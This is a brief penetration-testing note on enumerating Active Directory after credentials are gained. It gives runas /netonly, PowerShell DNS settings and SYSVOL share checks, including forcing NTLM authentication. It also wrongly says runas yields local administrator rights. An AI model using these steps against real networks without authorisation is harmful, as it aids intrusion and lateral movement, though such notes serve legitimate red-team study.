Enumerate Active Directory

Enumeration following after initial credentials are gained

SYSVOL

• On windows use runas and gain local administrative permissions via

runas.exe /netonly /user:%FQDNORNETBIOSDOMAIN%\%USERNAME% cmd.exe

• Check validity of credentials against SYSVOL, it stores Group Policy Objects (GPO). Every AD account will gain access
  • Query DNS, for example the DC

$dnsip = "<DC IPaddress>"
$index = Get-NetAdapter -Name '<Ethernet>' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

* Check `SYSVOL` afterwards via `hostname` to verify via Kerberos auth

dir \\%HOSTNAME%\SYSVOL\

* Check `SYSVOL` via `IP` address to force `NTLM` authentication
